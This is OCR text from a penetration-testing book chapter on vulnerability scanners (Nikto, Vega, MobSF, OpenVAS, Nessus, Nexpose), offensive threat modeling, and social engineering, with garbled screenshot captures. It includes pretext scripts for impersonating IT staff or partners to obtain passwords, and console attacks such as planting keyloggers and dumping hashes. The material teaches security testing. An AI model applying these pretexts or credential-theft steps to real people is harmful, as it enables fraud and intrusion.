e Scanners that are specifically developed to support reconnaissance and exploit
detection in websites and web services (Arachnid, Nikto, Skipfish, Vega, w3af,
and so on)
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Introduction to Nikto and Vega

Nikto is one of the most utilized active web application scanners, which performs
comprehensive tests against web servers. Its basic functionality is to check for 6,700+
potentially dangerous files or programs, along with outdated versions of servers and
vulnerabilities specific to versions of over 270 servers. Nikto identifies server
misconfiguration, index files, HTTP methods, and also finds the installed web server and
the software version. Nikto is released based on Open-General Public License versions
(https://opensource.org/licenses/gpl-license).

A Perl-based open source scanner allows IDS evasion and user changes to scan modules;
however, this original web scanner is beginning to show its age, and is not as accurate as
some of the more modern scanners.

Most testers start testing a website by using Nikto, a simple scanner (particularly with
regards to reporting) that generally provides accurate but limited results; a sample output
of this scan is shown in the following screenshot:

# nikto -h 192.168.0.24 -p 80

Target IP: 192.168.0.24
Target Hostname: 192.168.0.24
Target Port: 80

start Time:

Server: Apache/2.4.29 (Debian)
Server leaks inodes via ETags, header found with file /, fields: 0x29cd 0x569a470a57d40

The anti-clickjacking X-Frame-Options header is not present.
The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a dif
ferent fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-561: /server-status: This reveals Apache information. Comment out appropriate line in the Apache conf file or rest
rict access to allowed sources.
+ OSVDB-3233: /icons/README: Apache default file found.

The next step is to use more advanced scanners that scan a larger number of vulnerabilities;
in turn, they can take significantly longer to run to completion. It is not uncommon for
complex vulnerability scans (as determined by the number of pages to be scanned as well
as the site's complexity, which can include multiple pages that permit user input such as
search functions or forms that gather data from the user for a backend database) to take
several days to be completed.
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One of the most effective scanners based on the number of verified vulnerabilities
discovered is Subgraph's Vega. As shown in the following screenshot, it scans a target and
classifies the vulnerabilities as high, medium, low, and informational. The tester is able to
click on the identified results to drill down to specific findings. The tester can also modify
the search modules, which are written in Java, to focus on particular vulnerabilities or

identify new vulnerabilities:
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Vega can help you find vulnerabilities such as reflected cross-site scripting, stored cross-site
scripting, blind SQL injection, Remote File inclusion, shell injection, and others. Vega also
probes for TLS/SSL security settings and identifies opportunities for improving the security

of your TLS servers.
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Also, Vega provides special features in the Proxy section, which allow penetration testers to
query the request back and observe the response to perform the validation, which we call
manual PoC. The following screenshot shows the proxy section of Vega:

Subgraph Vega (- -]

File Scan Window Help

ooz 82 © Scanmer
& Website View} 0 ® 5 = = O || 8 Requests ‘Slnlertepl| ¥ Proxy Status e F° ﬁ‘
v @& 192.168.0.129 ID Host Method Request

Status Length Time (r

B/ 2 http://demo.testfi GET !
» @ 192.168.0.129 3 http://demo.testfij POST Elcomment.aspx 200

% demo.testfire.net 4 § http://demo.testfi; GET | /bank/apply.aspx 200 77 (218

+ [ /bank 5 ! http://demo.testfil GET | bank/login.aspx 1200 |8s6a  {2m

+  /images 6 | http://demo.testfii GET | search.aspx?txtSearch=vega%20-->">>"<yw000127v569194> 200 7248 {232
cglexe 7 | http://demo.testfil GET | bankimembers/ 201 11203 217
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= HTTP/1.1 200 OK

Scarchies prllbecarct Sega] Cache-Control: no-cache I
search.aspx [txtSearch=vega&btnSubmit= Pragma: no-cache

[F] style.css Content-Length: 9550
Content-Type: text/html; charset=utf-8
survey_questions.aspx [step=a] Expires: -1
& Server: Microsoft-115/8.0
@ X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_Sessionld=twnw02vchnhodm55115zov45; path=/; HttpOnly
-@ Set-Cookie: amSessionld=452431719871; path=/
& X-Powered-By: ASP.NET
Date: Sat, 11 Mar 2017 10:52:42 GMT
@
@ 1 of 2 highlights L

J fol=| & Proxy is not running ] 189M of 237ﬂ 0|

Customizing Nikto and Vega

From Nikto version 2.1.1, the community allowed developers to debug and call specific
plugins. The same can be customized accordingly from version 2.1.2. The listing can be
done for all the plugins, and then you specify a specific plugin to perform any scan. There
are currently around 35 plugins that can be utilized by penetration testers; the following
screenshot provides the list of plugins that are currently available in the latest version of
Nikto:
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root@kali:

Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:
Plugin:

TN wnmes wm o

httpoptions
report xml

ssl

report html
auth

apache expect xss
paths
sitefiles
outdated

tests

msgs
apacheusers
report text
ms10 070
drupal
subdomain
cookies
clientaccesspolicy
dictionary
siebel

content search
report nbe
embedded

e rvw |

# nikto -list-plugins

grep Plugin:

For example, if attackers found a banner information as Apache server 2.2.0, Nikto can be
customized to run specific plugins only for Apache user enumeration by running the
following command:

nikto.pl -host target.com -Plugins
"apacheusers (enumerate, dictionary:users.txt) ; report_xml" -output
apacheusers.xml

Attackers can also point Nikto scans to burp or any proxy tool by nikto.pl -host

<hostaddress> -port <hostport> -useragentnikto -useproxy

http://127.0.0.1:8080.
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Penetration testers should be able to see the following information:

rootfkali:~# nikto -host 192.168.0.24 -Plugins "apacheusers (enumerate, dictionary:users.txt) ;report xml" -output apacheuser

192.168.0.24
Target Hostname: 192.168.0.24
Target Port: 80
Start Time: 2018-10-06 17:52:34 (GMT-4)

Server: Apache/2.4.29 (Debian)
225 requests: 0 error(s) and 0 item(s) reported on remote host
End Time: 2018-10-06 17:52:47 (GMT-4) (13 seconds)

1 host(s) tested

When the Nikto plugin is run successfully, the apacheusers.xml output file should
include the active users on the target host.

Similar to Nikto, Vega also allows us to customize the scanner by navigating to the window
and selecting Preferences, where one can set up general proxy configuration or even point
the traffic to a third-party proxy tool. However, Vega has its own proxy tool that can be
utilized. The following screenshot provides the scanner options that can be set before
beginning any web application scan:
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Attackers can define their own User-Agent or mimic any well-known User-Agent headers,
such as IRC bot or Google bot, and also configure the maximum number of total
descendants and sub processes, and the number of paths that can be traversed; for example,
if the spider reveals www.target .com/admin/, there is a dictionary to add to the URL as
www.target.com/admin/secret/ and the maximum by default is set to 16, but attackers
would be able to drill down by utilizing other tools to maximize the effectiveness of Vega
and would select precisely the right number of paths and, also, in case of any protection
mechanisms in place such as WAF or Network level IPS, pentesters can select to scan the
target with a slow rate of connections per second to send to the target. One can also set the
maximum number of the response size; by default, it is set to 1 MB (1,024 KB).

Once the preferences are set, the scan can be further customized while adding a new scan.
When penetration testers click on New Scan, enter the base URL to scan, and click Next, the
following screen should allow the testers to customize the scan:

Applications v~ P [mR | & | Player v v & B Kali-Linux-2018.1-vm-amd6d € | — 52 e (O
(<] 5 @ O
File Scan Window Help Select Modules
@ = Choose which scanner modules to enable for this scan @ vEGA @ Scanner| % Proxy
@ ® & ® E°0 (D_ﬁ : -
Select modules to run: ]
v B Injection Modules
[ Blind SQL Text Injection Differential Checks
B XML Injection checks
B HTTP Trace Probes
[ Blind SQL Injection Arithmetic Evaluation Differential Checks
B Local File Include Checks
B Shell Injection Checks
@ Scan Alerts mOo=0 Integer Overflow Injection Checks
Format String Injection Checks
[ HTTP Header Injection checks
B Remote File Include Checks |

Blind OS Command Injection Timing

=
e | E 3 =0

< Back || MNext> || Cancel | Finish |

2% 5 Proxy is not running 45Mof 246M ||
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Vega provides two sections to customize: one is Injection Modules and the other is
Response Processing Modules:

¢ Injection Modules: This includes a list of exploit modules that are available as
part of built-in Vega web vulnerability databases and it queries in-built to test the
target for those vulnerabilities such as Blind SQL injection, XSS, Remote file
inclusion, local file inclusion, and header injections.

¢ Response Processing Modules: These include a list of security misconfigurations
that can be picked up as part of the HTTP response such as directory listing,
error pages, cross-domain policies, and version control strings. Vega also
supports testers adding their own plugin modules
(https://github.com/subgraph/Vega/).

Vulnerability scanners for mobile
applications

Penetration testers often ignore mobile applications in app stores (Apple, Google, and
others); however, these applications also serve as a network entry point. In this section, we
will run through how quickly one can set up a mobile application scanner and how one can
combine the results from mobile application scanner and utilize the information, to identify
more vulnerabilities and achieve the goal of the penetration testing.

Mobile Security Framework (MobSF) is an open source, automated penetration testing
framework for all the mobile platforms, including Android, iOS, and Windows. The entire
framework is written in the Django Python framework.

This framework can be directly downloaded from https://github.com/MobSF/Mobile-
Security-Framework-MobSF, or it can be cloned in Kali Linux by issuing the git clone
https://github.com/MobSF/Mobile-Security-Framework-MobSF command.

Once the framework is cloned, the following steps are followed to bring up the mobile
application scanner:

1. cdinto the Mobile-Security-Framework-MobSF folder:

cd Mobile-Security-Framework—MobSF/
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2. Install the dependencies using the following command:

python3 -m pip install -r requirements.txt

3. Once all the installation is complete, test for the configuration settings by
entering python3 manage.py test. You should be able to see something
similar to the following screenshot:

# python3 manage.py test
Creating test database for alias 'default'...

YA
AVARVARRY
N R A B
LN /1.

REST API Rey: ef663d6faBe94cbeB82ble34e698cb2bd5017c4£a59930fb18c87935ef93b7e44
05: Linux

Platform: Linux-4.15.0-kali2-amd64-x86_ 64-with-Kali-kali-rolling-kali-rolling
Dist: ('Kali', 'kali-relling', 'kali-reolling')

[WARNING] Could not find VirtualBox path.
[INFO] McbSF Basic Environment Check

Checking for Update.

No updates available.

check identified no issues (0 silenced).

Ran 0 tests in 0.000s

OK

4. Migrate the application's current installation:

python manage.py migrate
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5. Run the vulnerability scanner using python manage.py runserver
yourIPaddress:portnumber, as shown in the following screenshot:

P root@kali: ~/Mobile-Security-Framework-MebSF ===
root@kali: # python3 manage.py runserver 192.168.0.24:8000 k=
Performing system checks...

Y2 T
LN 1N
Lt O D
N /.

REST API Key: ef663d6faBe94cbe82b0e34e698cb2bd5017¢c4£a59930fb18c87935e£93b7e44
05: Linux

m

Platform: Linux-4.15.0-kali2-amd64-x86_ 64-with-Kali-kali-rolling-kali-rolling
Dist: ('Kali', 'kali-relling', 'kali-reolling')

[WARNING] Could not find VirtualBox path.

[INFO] MobSF Basic Environment Check

[INFO] Checking for Update.

[INFO] No updates available.

system check identified no issues (0 silenced).

October 06, 2018 - 22:41:40

Django version 2.1.2, using settings 'MobSF.settings’

Starting development server at http://192.168.0.24:8000/

Quit the server with CONTROL-C. El

6. Access the URL http://yourIPaddress:Portnumber in the browser and
upload any mobile applications found during the reconnaissance to the scanner
to identify the entry points.

7. Once the files are uploaded, penetration testers can identify the disassembled file
in the scanner, along with all the other important information:
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& C | ® 192.168.0.24:8000/5taticAnalyzer/?name=Celcom%20Life_v1.5.1_apkpure.com.apk8itype=apk8ichecksum=d12599c9baeee3f27flbel... m B O e @ = m 8

o

Recent Scans API Docs About Search MD5

® Information

|
4 5 .2
ACTIVITIES SERVICES - PROVIDERS
|
Pe
EXPORTED EXPORTED EXPORTED EXPORTED
Binary @ ACTIVITIES SERVICES RECEIVERS PROVIDERS
o ) ) 0 2 0
Scan Options [=] View Code [ # ]

5 Rescan PSS
<> View Small

@ start Dynamic Analysis
® View AndroidManifest.xml
@® start Dynamic Analysis

The scan output will provide all the mobile application configuration information such as
activities, services, receivers, providers etc. Sometimes, these configuration information
provides hardcoded credentials or cloud API keys that can be utilized on other identified
services and vulnerabilities. During a penetration testing exercise, we found a developer
account username and base64 password in one of the Java files that was commented on
target's mobile application, that allowed access to the external VPN of the organization.

The more important portions of the mobile security framework are in the URLs, malware,
and the strings.

The OpenVAS network vulnerability scanner

Open Vulnerability Assessment System (OpenVAS) is an open source vulnerability
assessment scanner and also a vulnerability management tool often utilized by attackers to
scan a wide range of networks, which includes around 47,000 vulnerabilities in its database;
however, this can be considered a slow network vulnerability scanner compared with other
commercial tools such as Nessus, Nexpose, and Qualys.
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If OpenVAS is not already installed, make sure your Kali is up to date and install the latest
OpenVAS by running the apt-get install openvas command. Once done, run the
openvas-setup command to set up OpenVAS; to make sure the installation is OK, run
the openvas-check-setup command and it will list the top 10 items that are required to
run OpenVAS effectively. Once the installation is successful, testers should be able to see
the following screenshot:

OK: xsltproc found.
Checking user configuration
WARNING: Your password policy is empty.
SUGGEST: Edit the /etc/openvas/pwpolicy.conf file to set a password policy.
Checking Greenbone Security Assistant (GSA)
OK: Greenbone Security Assistant is present in version 6.0.11.
Checking OpenVAS CLI
OK: OpenVAS CLI versicn 1.4.5.
Checking Greenbone Security Desktop (GSD)
SKI Skipping check for Greenbone Security Desktop.
Checking if OpenVAS services are up and running
OK: netstat found, extended checks of the OpenVAS services enabled.
OK: OpenVAS Scanner is running and listening only on the local interface.
OK: OpenVAS Scanner is listening on port 9391, which is the default port.
WARNING: OpenVAS Manager is running and listening only on the local interface.
This means that you will not be able to access the OpenVAS Manager from the
outside using GSD or OpenVAS CLI.
SUGGEST: Ensure that OpenVAS Manager listens on all interfaces unless you want
a local service only.
OK: OpenVAS Manager is listening on port 9390, which is the default port.
OK: Greenbone Security Assistant is listening on port 443, which is the default port.
Checking nmap installation
WARNING: Your version of nmap is not fully supported: 7.40
SUGGEST: You should install nmmap 5.51 if you plan to use the nmap NSE NVTs.
Checking presence of optional tocls
OK: pdflatex found.
OK: PDF generation successful. The PDF report format is likely to work.
OK: ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work.
OK: rpm found, LSC credential package generation for RPM based targets is likely to work.
OK: alien found, LSC credential package generation for DEB based targets is likely to work.
OK: nsis found, LSC credential package generation for Microsoft Windows targets is likely to work

It seems like your OpenVAS-8 installation is OK.

If you think it is not OK, please report your observation

and help us to improve this check routine:
http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss

Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem.
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The next task is to create an admin user by running the openvasmd --user=admin --
new-password=YourNewPasswordl, ——new-password=YourNewPasswordl command,
and start up the OpenVAS scanner and OpenVAS manager services by running the
openvas-start command from the prompt. Depending on bandwidth and computer
resources, this could take a while. Once the installation and update is complete, penetration
testers should be able to access the OpenVAS server on port 9392 with SSL
(https://localhost:9392), as shown in the following screenshot:

Greenbone Security Assistant - Mozilla Firefox e 0 O
J & Greenbone Security A.. x | +
® & | https://127.0.0.1:9392/login/login.html @ ||Q Search wB 3+ 4 O =
{5 Most Visitedv JllOffensive Security " Kali Linux “ Kali Docs " Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums &, NetHunter »
Greenbone Security Assistant Version 7.0.3

Username:

Password:

Login

Greenbone
Security
Assistant
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The next step is to validate the user credentials by entering the username as admin and
password as yournewpasswordl, and testers should be able to log in without any issues
and see the following screenshot. Attackers are now set to utilize OpenVAS by entering the
target information and clicking Start Scan from the scanner portal:

Greenbone Security Assistant - Mozilla Firefox [-] GO* [<]
| & Greenbone Security A.. x | +
€ @ A & | https://127.0.0.1:9392/omp?r=1&token=4 )c60-467e-9ca3 & || Q Search wBa ¥+ @ =
[ Most Visitedv [l Offensive Security S Kali Linux " Kali Docs " Kali Tools # Exploit-DB Wy Aircrack-ng gidKali Forums “&, NetHunter »
Gree'_‘hﬁ“e_ No auto-refresh - Logged in as Admin admin | Logout =
Security Assistant Sun Oct 7 18:06:35 2018 UTC
Dashboard Assets Secinfo Configuration Administration
\il‘ Dashboard /]
- Tasks by Severity Class (Total: 0) - Tasks by status (Total: 0)
~  CVEs by creation time (Total: 113613) - Hosts topology ~  NVTs by Severity Class (Total: 47470)
/ year
B High
20,000 120,000 Medium
18,000 110,000 Low
100,000
\19¢: L
16,000 “g\ B og
14,000 [ [-s0.000
12,000 | F70.000 No hosts with topology selected
10.000 | L 60.000 v

Customizing OpenVAS

Unlike any other scanners, OpenVAS is also customizable for scan configuration: it allows
testers to add credentials, disable particular plugins, set the maximum and minimum
number of connections that can be made, and so on. The following screenshot shows the
different scanning settings to customize:
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Greenbone Security Assistant - Mozilla Firefox e O
J £ Greenbone Security A.. » \+

€ | ® & | hitps://127.0.0.1:9392/omp?cmd @ ||Q Search B +§$ & O =

Secinfo Configuration Administration

/

&J Scan Configs (8 of 8)
1-Bof B
I=II=I"I=_ T B

Discovery

(Network Discovery scan configuration.) =22 w2360 Ld Eileadil
empty s ¢
(Empty and static configuration template.) 0 d © wd GEllabdid
Full and fast ! :

(Most NVT's; optimized by using previously collected information.) — == L 47450 () Eifeedid
Full and fast ultimate = 62 47450 .

(Most NVT's including those that can stop services/hosts; optimized by using previously collected information.) . td CElieadis
Full and very deep e

(Most NVT's; don't trust previously collected information; slow.) B2 L 47450 () Eifdhdid
Full and very deep ultimate =

(Most NVT's including those that can stop services/hosts; don't trust previously collected information; slow.) 62 Ll 47450 [ [El0dhdEd
Host Discovery ez

(Network Host Discovery scan configuration.) 2 bd 2 wd Elebdid
System Discovery =

(Network System Discovery scan configuration.) 6 ld 29 wd ClCehdid

vApply to page contents » mi | ¥
(Applied filter: rows=10 first=1 sort=name) 1-Bof 8

Backend operation: 0.02s Greenbone Security Assistant (GSA

8 by Greenbone Networks GmbH, www.greenbone.net

Commercial vulnerability scanners

Most attackers utilize open source tools to launch attacks; however, commercial
vulnerability scanners come with their own advantages and disadvantages in speeding up
the penetration testing process. In this section, we will learn Nessus and Nexpose
installation in Kali Linux, and since these scanners are backed up by respectable companies,
they do have comprehensive documentation, so we will not be taking a deep dive into
configuring these tools.
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Nessus

Nessus was one of the old vulnerability scanner that was started by Renaud Deraison in
1998, it used to be a open source project till 2005, the project was taken over by Tenable
Network Security (co-founded by Renaud). Nessus is one of the most commonly used
commercial vulnerability scanners in the security community for network infrastructure
scanning. Although Tenable has multiple security products. In this section, we will explore

the installation of Nessus Professional.

The following provides step-by-step instructions on how to install Nessus on Kali Linux:

1. Register as a normal user by visiting https://www.tenable.com/try and
selecting Try Nessus Professional Free.
2. Download the right version of Nessus from https://www.tenable.com/

downloads/.
3. Once Nessus is downloaded, run the installer, as shown in the following

command:

dpkg —-i Nessus-8.1l.2-debiané6_amdé4.deb

Testers should be able to see the following screenshot in their Kali Linux:

» amded . deb

currently installec
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4. Next step is to start the nessus service by running service nessusd start,
which should bring Nessus up on our system.

5. By default, the Nessus scanner runs on port 8834 over SSL. Attackers should be
able to see the following screenshot following a successful installation:

A Not secure | Bips//192.168.0.24:8834/#/

Nessuso

Create an account

Username *

Password *

6. Add a new user and activate the license; your scanner will download all the
relevant plugins, based on your license.
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7. Finally, you should be able to see Nessus up and running, as shown in the
following screenshot, where it is ready to launch a scan against the target

systems/network:
< C | A Not secure | bttps;//192.168.0.24:8834/#/scans/reports/new r m O @ m e &% O
Nessus @) Sans  Settings
i My Scans Scanner
W All scans
@ Trash *) .
S
¢ d o) ' e
o Advanced Dynamic Scan Advanced Scan Audit Cloud Infrastructure Badlock Detection Bash Shellshock Detection
Policies
Plugin Rules
B Customized Reports
& sconners 5 (:D ..p []
Basic Network Scan Credentialed Patch Audit DROWN Detection Host Discovery Intel AMT Security Bypass
Internal PCI Network Scan Malware Scan MDM canfia} Mobile Dev:} Offline Confia Audit

Similar to Nessus, Rapid 7 Nexpose is another widely used commercial vulnerability
scanner that supports the entire life-cycle of vulnerability management for any
organization. Attackers who would like to utilize this scanner can request a free trial.

The following are step-by-step instructions on installing Rapid 7 Nexpose in Kali Linux:

1. Register the account with Rapid 7 (https://www.rapid7.com/products/nexpose/
request/; you may require a valid business email ID to receive the activation
code.

2. Download the installer from the website by running this:
wget

http://download2.rapid7.com/download/InsightVM/Rapid7Setup-Linux64.
bin
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Change the file permission of the downloaded file by running the following
command; the command will throw errors if the system requirements are not met:

chmod +x Rapid7Setup-Linux64.bin
./Rapid7Setup-Linux64.bin

The scanner will require you to enter the details such as username, password,
and certificate. Follow the instructions and once completed, you should be able to
see the following screenshot that indicates the successful installation of Nexpose:

d the following installation

ent(s) to install:

tin 11

3. By default, Nexpose runs on port 3780 over SSL, so testers can access the
application at https://localhost:3780/.
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4. Nexpose will download all the plugins for the license that you have, so finally
you should be able to log in to the vulnerability scanner, as shown here:

A Notsecure | hitps//192.168.0.24:3780/maintenance-login.htm b g m B @ = om

naintenance mode, which enables it to perfor ems. You will not be able to run scans or generate

RAPIDI)

or more information, please see the topic Run

Logon

Usemname

RAPIDF)

Specialized scanners

The exploitation phase of the kill chain is the most dangerous one for the penetration tester
or attacker; they are directly interacting with the target network or system and there is a
high chance that their activity will be logged or their identity discovered. Again, stealth
must be employed to minimize risks to the tester. Although no specific methodology or tool
is undetectable, there are some configuration changes and specific tools that will make
detection more difficult.

Another scanner worth using is the Web Application Attack and Audit Framework
(w3af), a Python-based open source web application security scanner. It provides
preconfigured vulnerability scans in support of standards such as OWASP. The breadth of
the scanner's options comes at a price: it takes significantly longer than other scanners to
review a target, and it is prone to failure over long testing periods. A w3af instance
configured for a full audit of a sample website is shown in the following screenshot:
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w3af - Web Application Attack and Audit Framework [— <]
Profiles Edit Tools Configuration Help
N 00 o» = B % 0 @ =
Scan config Exploit
Profiles Target: |http://192.168.0124 | PHE S
empty_profile Active Plugin
OWASP_TOP10 » Wl audit
audit_high_risk [ auth
bruteforce > bruteforce
full _audit 3 evasion

full_audit_spider_man » @ grep

sitemap - infrastructure
web_infrastructure > mangle
Perform a fast scan of the target site, using only a
few discovery plugins and the fastest audit plugins.
Active Plugin
= B output

Kali also includes some application-specific vulnerability scanners. For example, WPScan is
used specifically against WordPress CMS applications.

Threat modeling

The passive and active reconnaissance phases map the target network and system, and
identify vulnerabilities that may be exploitable to achieve the attacker's objective. During
this stage of the attacker's kill chain, there is a strong desire for action; testers want to
immediately launch exploits and demonstrate that they can compromise the target.
However, an unplanned attack may not be the most effective means of achieving the
objective, and it may sacrifice the stealth that is needed to achieve it.

Penetration testers have adopted (formally or informally) a process known as threat
modeling, which was originally developed by network planners to develop defensive
countermeasures against an attack.
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Penetration testers and attackers have turned this defensive threat modeling methodology
on its head to improve the success of an attack. Offensive threat modeling is a formal
approach that combines the results of reconnaissance and research to develop an attack
strategy. An attacker has to consider the available targets and identify the types of targets,
listed as follows:

o Primary targets: These are the primary entry point targets to any organization
and when compromised, they serve the objective of a penetration test

¢ Secondary targets: These targets may provide information (security controls,
password and logging policies, and local and domain administrator names and
passwords) to support an attack or allow access to a primary target

e Tertiary targets: These targets may be unrelated to the testing or attack objective,
but are relatively easy to compromise and may provide information or a
distraction from the actual attack

For each target type, the tester has to determine the approach to be used. A single
vulnerability can be attacked using stealth techniques, or multiple targets can be attacked
using a volume of attacks in order to rapidly exploit a target. If a large-scale attack is
implemented, the noise in the defender's control devices will frequently cause them to
minimize logging on the router and firewall, or even fully disable it.

The approach to be used will guide the selection of the exploit. Generally, attackers follow
an attack tree methodology when creating a threat model, shown in the following diagram:

Meedto acquire
proprietary

engineering
documents

Compromise
engineer's email
account

Exploit

Compromise the
engineer'sserver

Obtain access Exploit known

credentials using buffer overflowto vuuluneebr:gél;t:sln
keyboard logger ain root access
i = = interface
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The attack tree approach allows the tester to easily visualize the attack options that are
available and the alternative options that can be employed if a selected attack is not
successful. Once an attack tree has been generated, the next step of the exploit phase is to
identify the exploits that may be used to compromise vulnerabilities in the target. In the
preceding attack tree, we visualize the objective of obtaining engineering documents, which
are crucial for organizations that provide engineering services.

Summary

In this chapter, we focused on multiple vulnerability assessment tools and techniques. We
learned how to write our own vulnerability script for Nmap using NSE, and also how to
use a tool that can convert the findings from active reconnaissance into a defined action that
establishes access for the tester to the target. We also learned how to install the OpenVAS,
Nessus, and Nexpose vulnerability scanners on Kali Linux.

Kali provides several tools to facilitate the development, selection, and activation of
exploits, including the internal exploit-db (searchsploit), as well as several frameworks
that simplify the use and management of exploits.

The next chapter focuses on the most important part of the attacker's kill chain, the
exploitation phase. Physical security is one method to gain access to data systems (if you
can boot, you've got root!); physical access is also closely tied to social engineering, the art
of hacking humans and taking advantage of their trust. This is the part of the attack where
the attackers achieve their objective. Typical exploitation activities include horizontal
escalation by taking advantage of poor access controls, and vertical escalation by theft of
user credentials.
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and Physical Security

Social engineering is the art of extracting information from humans. It is a type of attack
that has made great progress in recent years by exploiting behavior, and by finding the
weaknesses in given circumstances and conditions. This attack can be effective when a
human is tricked into providing physical access to their system. It is the single most
successful attack vector used during red teaming exercises, penetration testing, or an actual
attack. The success of a social engineering attacks relies on two key factors:

¢ The knowledge that is gained during the reconnaissance phase. The attacker
must know the names and usernames associated with the target; more
importantly, the attacker must understand the concerns of the users on the
network.

¢ Understanding how to apply this knowledge to convince potential targets to
activate the attack by impersonating, talking to them over the phone, inquiring
about them, clicking on a link, or executing a program. In recent years, the
following two tactics have been the most successful:

e If the targeted company has recently finished the year-end
appraisal, every employee in the company would be very much
focused on receiving their updated salary package from the
Human Resources department. Therefore, emails or documents
with titles associated with that subject will likely be opened by the
targeted individuals.

e If the targeted company had acquired or merged with another, the
type of social engineering attack would be whaling, targeted
towards C-level managers and other high profile individuals of
both the companies. The main principle behind this type of attack
is that more privileges the user has, the more access the attackers
gain.
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Kali Linux provides several tools and frameworks that have an increased chance of success
if social engineering is used as a pretext to influence victims to open files or execute certain
operations. The examples include file-based executables created by the Metasploit
framework and using file-less techniques such as PowerShell scripts using Empire.

In this chapter, we'll focus on the Social Engineering Toolkit (SEToolkit) and Gophish.
The techniques used in employing these tools will serve as the model for using social
engineering to deploy attacks from other tools.

By the end of this chapter, you will have learned the following;:

e Different social engineering attack methods that can be engaged by attackers
e How to perform physical attacks at the console
e How to create rogue physical devices using microcontrollers and USBs

e How to harvest or collect usernames and passwords using the credential
harvester attack

¢ How to launch the tabnabbing and webjacking attacks

e How to employ the multiattack web method

¢ How to use PowerShell's alphanumeric shellcode injection attack
e How to set up Gophish on Kali Linux

¢ How to launch an email phishing campaign

To support SET's social engineering attacks, the following general implementation practices
will be described:

¢ Hiding malicious executables and obfuscating the attacker's URL
e Escalating an attack using DNS redirection
¢ Gaining access to the system and network through USB

Methodology and attack methods

As an attack route supporting the kill chain methodology, social engineering focuses on the
different aspects of an attack that take advantage of a person's trust and innate helpfulness
to deceive and manipulate them into compromising a network and its resources. The
following diagram depicts the different types of attack methods that attackers can engage
in to harvest information:
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Email Phishing

— Computer Based Baiting

WiFi-Phishing
—  Technology —

SMSishing

—  Mobile Based

Quick Response
Code

Impersonation

Physical
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Attacks at Console

Vishing
Voice Based {
Fraud/Scam

From the last edition, we have now reclassified social engineering tactics into two main
categories: one that involves technology and another that includes people-specific
techniques.

Social Engineering
|

— People

The following sections will provide a briefing on every type and we will explore computer-
based attacks in this chapter, especially physical attacks and email phishing using Kali
Linux.

Technology

As the technology has evolved from traditional PCs to laptops, and now to mobile phones,
so have social engineering techniques. In this section, we discuss computer-based and
mobile-based attacks that can be performed using Kali Linux.
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Computer-based

Attacks that utilize computers to perform social engineering are subdivided into the
following types. All these types are best utilized only when all passive and active
reconnaissance information is utilized to the maximum:

e Email phishing: Attacks that utilize the email medium to harvest information or
exploit a known software vulnerability in the victim's system are referred to as
email phishing.

¢ Baiting: This is a technique that's used to embed a known vulnerability and
create a backdoor, to achieve the objective by utilizing USB sticks and compact
disks. Baiting focuses more on exploiting the human curiosity factor through the
use of physical media. Attackers can create a Trojan that will provide backdoor
access to the system either by utilizing the autorun feature, or when a user clicks
to open the files inside the drive.

e Wi-Fi phishing: Penetration testers can utilize this technique to harvest
usernames and passwords by setting up a fake Wi-Fi network, similar to the
targeted company. For example, the attackers could target XYZ company by
setting the SSID in their Wi-Fi exactly the same as or similar to the company's
and then allow the users to connect without any password to the fake wireless
router.

Mobile-based

e SMSishing: Attackers perform phishing using Short Message Service (SMS) by
sending links to click or drafting a message that makes the user reply to the text.
Penetration testers can also utilize publicly offered services such as https://www.
spoofmytextmessage.com/free.

* Quick Response Code (QR code): During a red team exercise, QR codes are also
the most effective way to deliver a payload to an isolated area. Similar to
spamming, QR codes can be printed and posted in places where most people
visit, for example cafeterias, smoking zones, toilets, and other relevant areas.

People-based

People-based attacks are the most effective attacks during a red team or penetration test.
These attacks are focused on the behavior of people in a given situation. The following
sections explain the different types of attack that can be performed by focusing on people's
weaknesses and different tactics.
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Physical attacks

Physical attacks typically involve the physical existence of an attacker, who then performs a
social engineering attack. The following are the two types of physical attack that are
engaged during RTE or penetration testing:

¢ Impersonation: This involves the testers creating a script and impersonating an
important person in order to harvest information from a targeted set of staff. We
recently performed a social engineering attack with the goal of identifying the
username and password of a domain user through a physical social engineering
exercise. The scenario involves an attacker talking to the victim and
impersonating the internal IT helpdesk, “Dear Xman, I am Doctor X from the
internal IT department. It has been noted that your system has been disconnected from
the network for a period of 20 days. It is recommended to install the latest system updates
due to the latest ransomware attack. Do you mind providing the laptop along with your
username and password?” That resulted in the user providing the login details and
as bonus passing on the laptop to the attacker. Now, the attacker's next move is
to plant a backdoor into the system to maintain persistent access.

o Attacks at the console: These involve all attacks that involve physical access to
the system, such as changing the password of an administrator user, planting a
keylogger, extracting stored browser passwords, or the installation of backdoor.

Voice-based

Any attack that involves a voice message and tricks the user into performing an action on
the computer or leaking sensitive information is referred to as voice-based social
engineering.

Vishing is the art of utilizing a recorded voice message or an individual calling the victim
to extract information from a targeted victim or group of victims. Typically, Vishing
involves a trustable script, for example, if company X announces a new joint venture with
company Y, the staff will be curious about the future of both companies. This allows the
attackers to call the victim directly with a pre-defined script as follows:

"Hello, I am XX calling from Company Y, we have now been announced as a joint
venture, so technically we are all the same team. Having said that, can you please let me
know where your data centers are located and do provide me with list of mission-critical
servers. If you are not the right person, can you point me to the right one. Many thanks,
XX".
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Physical attacks at the console

In this section, we will explore different types of attack that are typically performed on a
system with physical access.

samdump2 and chntpw

One of the most popular ways to dump password hashes is to utilize samdump2. This can
be done by turning on the power of the acquired system and then booting it through our
Kali USB stick by making the required changes in the BIOS.

1. Once the system is booted through Kali, by default the local hard drive must be
mounted as a media drive (assuming the media drive is not encrypted with PGP
or similar), as shown in the following screenshot:

Sectors Size Id Type

Disk /devlloop@ 591 2 MiB, 619929600 bytes, 1210800 sectors
Units: 512 = 512 bytes
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2. If the drive is not mountable, the attackers can manually mount the drive by
running the following commands:

